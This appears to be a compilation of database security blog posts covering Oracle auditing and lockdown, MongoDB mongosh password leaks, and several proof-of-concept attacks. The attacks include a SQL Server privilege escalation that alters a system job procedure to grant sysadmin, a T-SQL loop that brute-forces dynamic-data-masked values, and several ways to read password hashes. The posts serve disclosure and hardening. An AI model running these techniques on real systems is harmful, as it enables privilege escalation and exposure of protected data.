SQL> select * from unified_audit_trail order by event_timestamp desc;
To test auditing I will query the table column “salary”:
SQL> select salary from hr.test_table;
Checking Unified Audit Trail:
SQL> select action_name,OBJECT_NAME,SQL_TEXT,unified_audit_policies from unified_audit_trail where unified_audit_policies=’EMP_HR_EMP_SAL_ACCESS_POL’ order by event_timestamp desc;
And, as expected when creating another table based on the original table:
SQL> create table test_table2 as select * from test_table;
Also, an audit will be captured with synonym is being created for the table:
SQL> create public synonym test_table for hr.test_table;
MongoDB fixed the below two security vulnerabilitiesreported by me as follows:
version v2.2.3: MONGOSH-1682 – Fixed a race condition that could lead to commands, including sensitive information, not being properly redacted from the history file.
version v2.2.0: MONGOSH-1667 – passwordPrompt() works as originally intended.
The password should not be displayed, however I found out that it appears clearly in the prompt !
The password function passwordPrompt() was tested and used in conjunction with db.createUser, db.changeUserPassword, db.auth commands and all of them were allowing clear text password to appear.
admin> use admin already on db admin admin> db.createUser({user:”mongo2″, pwd: passwordPrompt(), roles:[“root”]}) Enter password mongo *{ ok: 1 } admin>
Vulnerability No2. : Password is exposed in mongosh_repl_history file with db.auth command
Mongosh was tested with both “remove”& “remove-redact” modes
config.set (redactHistory, “remove-redact”)
config.set (‘redactHistory’, “remove”)
In Linux Red Hat Environment the file: $MONGOHOME/.mongodb/mongosh/mongosh_repl_history
Contains the password in clear text for historical commands run for authentication db.auth() and db.createUser , per documentation: https://www.mongodb.com/docs/mongodb-shell/logs/ the logs should omit the credentials but this didn’t happen !
In windows operating system environment the file: C:\Users\windows_profile_user\AppData\Roaming\mongodb\mongosh
Commands running for database creation db.createUser and db.auth() are logging the username, password explicitly as shown below:
In an extremely locked down environment where you want to disable many features to extremely reduce attack surface (this is in a very exceptional systems). There are many security products such as database vault, SELinux,….etc that imposes restriction. So, can we for example restrict a DBA from executing “ALTER SYSTEM” command to prevent him from changing security parameters configurations….?
I will explore this in two popular database technologies PostgreSQL and Oracle.
Let us start with PostgreSQL:
as root user, I will make postgresql.auto.conf configuration file immutable :
This will make the configuration file protected against write operations especially with .auto.conf file that is created under your $PGDATA directory to enable you to execute ALTER SYSTEM commands instead of changing the parameters directly in the text file postgresql.conf
As shown below….as superuser I can’t execute ALTER SYSTEM any more….is this something you want to do ? you need to judge and asses if its worth it or not as it might cause operational impacts.
Let us now explore Oracle:
There are two methods, the first method is the certified and official way by oracle which is using LOCDOWN Profile security feature that will enable you to disable the execution of ALTER SYSTEM command. The second way is to make the server parameter file (spfile) immutable from any changes…THIS IS NOT CERTIFIED BY ORACLE [warning !]
First Method…LOCDOWN PROFILE:
in CDB$ROOT Define the locdown feature you want to disable:
By design when you install SQL Server database engine a job is created called “syspolicy_purge_history”, and this job by design will run every day. This job will be weaponized for privilege escalation attack.
To illustrate:
I will create a dummy account called “toto” (for the sake of simulation it will be SQL Authenticated account):
USE [master]
GO
CREATE LOGIN [toto] WITH PASSWORD=N’toto’, DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[us_english], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
And, then I will add the account as database user in system database MSDB with db_ddladmin permission:
USE [msdb]
GO
CREATE USER [toto] FOR LOGIN [toto]
GO
USE [msdb]
GO
ALTER ROLE [db_ddladmin] ADD MEMBER [toto]
GO
Then, I will execute the following modification code against the procedure:
ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history]
AS
BEGIN
ALTER SERVER ROLE [sysadmin] ADD MEMBER [toto]
END
The following warning message pops-up:
Warning: ‘is_ms_shipped’ property is turned off for procedure ‘dbo.sp_syspolicy_purge_history’ because you do not have permission to create or alter an object with this property.
The procedure code will be successfully modified anyhow with no issues, the next time the job will be running the modified code will be executed successfully and account “toto” is elevated to “sysadmin” role as shown below:
The database role “backup” can be granted to an account for the scope/objective to perform database backup. This role will provide a segregation of duties and supposedly will limit data exposure as mongodump utility dumps the database in BSON binary format.
The catch here: an account granted “backup” can access the password hashes !
So, the admin MongoDB account with “root” role password hashes can be retrieved based on MongoDB documentation !
This is a very bad security design, account with “backup” role should have limited power and permissions “principle of least privilege (POLP)”, exposing password hashes with the current setup will enable the attacker who successfully compromised the backup account to elevate/escalate his/her permissions by cracking the password hashes of the admin account (password cracking process will be challenging task but possible).
To illustrate, I will access MongoDB database using “backup” account and will list password hashes as shown below:
SQL> select OS_USERNAME,authentication_type,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,SQL_TEXT,SOURCE from unified_audit_trail order by EVENT_TIMESTAMP desc;
The SOURCE column has two values…either “DATABASE” or “FILE”
A FILE means a spill over audit file entry from the .BIN file.
After I have executed the following multiple times to load spill over files:
Now checking unified_audit_view again , there is NO entry of SOURCE column with TYPE “FILE” any more:
SQL> select OS_USERNAME,authentication_type,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,SQL_TEXT,SOURCE from unified_audit_trail where SOURCE=’FILE’ order by EVENT_TIMESTAMP desc;
worth stating that oracle database system table gv_$unified_audit_trail retains the information for spill over audit files information in it.
Good Security Improvement, this enhancement already exists in 23c and back-ported to 19c !
The following is a vulnerability that is patched in Oracle Critical Patch Update in October 2023, so ALWAYS patch your environment…don’t underestimate the importance of patching !
For the simulation I will create an account called “jim” in pluggable database ORCLPDB1 and grant the account create session and select any dictionary privilege:
SQL> alter session set container=ORCLPDB1;
Session altered.
SQL> create user jim identified by jim123;
User created.
SQL> grant create session,select any dictionary to jim;
Grant succeeded.
I will now connect using database account “jim” and the account will be able to view the password hashes in system table DDL_REQUESTS_PWD used by database sharding component:
sqlplus “jim/jim123″@ORCLPDB1
SQL> show user
USER is “JIM”
SQL> select * from SYS.DDL_REQUESTS_PWD;
DDL_NUM PWD_BEGIN
———- ———-
ENC_PWD
——————————————————————————–
123 445
E494684108560FFEF1C17CDE72F36A1A
After applying 19.21 RU (Release Update) Patch:
SQL> select * from SYS.DDL_REQUESTS_PWD;
select * from SYS.DDL_REQUESTS_PWD
*
ERROR at line 1:
ORA-01031: insufficient privileges
So, this vulnerability is fixed in oracle 19c [19.21] and in 21c [21.11]
Please note that vulnerability exists in “Oracle Database 23c Free, Release 23.0.0.0.0 – Developer-Release Version 23.2.0.0.0”.
The following is not a critical vulnerability, but shows the importance of “auditing” in your database system.
In this simulation, unified auditing logs the backup of controlfile successfully while restore operation was not as shown below:
rman target /
RMAN> backup current controlfile;
RMAN> restore controlfile to ‘/tmp/emad_ctl.ctl’;
Querying Unified Audit logs:
SQL> select audit_type,client_program_name,event_timestamp,rman_operation,rman_object_type,rman_device_type from unified_audit_trail where audit_type like ‘RMAN%’ order by event_timestamp desc;
As shown above…. control file backup was recorded under RMAN_OBJECT_TYPE column while restore operation was logged, but it was not clear for which database object….in our case its the controlfile !
Microsoft SQL Server database system has a security feature called “dynamic data masking” , this feature is designed to redact/mask column level values (columns containing sensitive data ….for example credit card number…etc).
The feature is good but has many security weaknesses that organizations/companies should be aware of….In this blog I will use brute force technique against the “where” conditional clause to retrieve actual data values (numeric values) in the PoC presented here.
I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:
create database demodb;
USE [demodb]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[COMPANY](
[COMPANY_NAME] [nvarchar](max) NULL,
[SALES] [int] NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
USE [demodb]
GO
INSERT INTO [dbo].[COMPANY]
([COMPANY_NAME]
,[SALES])
VALUES
(‘COMPANY_C’,’93’)
GO
USE [demodb]
GO
INSERT INTO [dbo].[COMPANY]
([COMPANY_NAME]
,[SALES])
VALUES
(‘COMPANY_A’,’11’)
GO
USE [demodb]
GO
INSERT INTO [dbo].[COMPANY]
([COMPANY_NAME]
,[SALES])
VALUES
(‘COMPANY_B’,’78’)
GO
I will enable dynamic data masking function against SALES column:
ALTER TABLE dbo.COMPANY
ALTER COLUMN SALES INT MASKED WITH (FUNCTION = ‘default()’);
Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:
CREATE USER reg_user WITHOUT LOGIN;
GRANT SELECT ON dbo.COMPANY to reg_user;
EXECUTE AS USER = ‘reg_user’;
SELECT * FROM dbo.COMPANY;
REVERT;
However, using the same non-privileged database account reg_user …I will be able to extract Actual Values :
EXECUTE AS USER = ‘reg_user’;
DECLARE @sales_txt nvarchar(max);
DECLARE @LCounter INT= 1;
WHILE (@LCounter < 99)
BEGIN
SET @sales_txt=(SELECT COMPANY_NAME+’ sales is ‘ +CAST (@LCounter as nvarchar)
FROM dbo.COMPANY
WHERE SALES=@LCounter)
print @sales_txt
SET @LCounter = @LCounter + 1
END
REVERT;
Output:
COMPANY_A sales is 11
COMPANY_B sales is 78
COMPANY_C sales is 93
Actual values were successfully extracted from the masked column !
So the account will receive error ORA-01031: insufficient privileges when trying to perform direct select query against SYS.USER$ system table “as expected”.
However, account with DBA role can still view password hashes through dbms_metadata.get_ddl function….to illustrate:
sqlplus / as sysdba
SQL> alter session set container=ORCLPDB1;
Session altered.
SQL> create user coco identified by coco123;
User created.
SQL> grant DBA to coco;
Grant succeeded.
SQL> alter user coco default role all;
User altered.
sqlplus “coco/coco123″@ORCLPDB1
SQL> set long 64000 SQL> select dbms_metadata.get_ddl(‘USER’,’SCOTT’) from dual;
DBMS_METADATA.GET_DDL(‘USER’,’SCOTT’)
CREATE USER “SCOTT” IDENTIFIED BY VALUES ‘S:6E490F4B0D43DC4DF23CDB9E58783D807 D50E4C0B5DF681A0B14EADC0754;T:99F484265AEB9FD3E85E35939BA7325E44388BB76750702308 AEF80934D6E385689C2B635BEBA79C8AA9DCAC3EBDC34489E9A6BD213CB64763676208EB91DF38F4 F49918383BDDAA35F8F8BBAC4B099D’ DEFAULT TABLESPACE “USERS” TEMPORARY TABLESPACE “TEMP”
SQL> set long 64000 SQL> select dbms_metadata.get_ddl(‘USER’,’SCOTT’) from dual;
DBMS_METADATA.GET_DDL(‘USER’,’SCOTT’)
CREATE USER “SCOTT” DEFAULT TABLESPACE “USERS” TEMPORARY TABLESPACE “TEMP”
The password hash part is omitted from the SQL definition of the account, if you grant database account “coco” direct access to SYS.USER$ table then of course dbms_metadata.get_ddl will display the password hash again.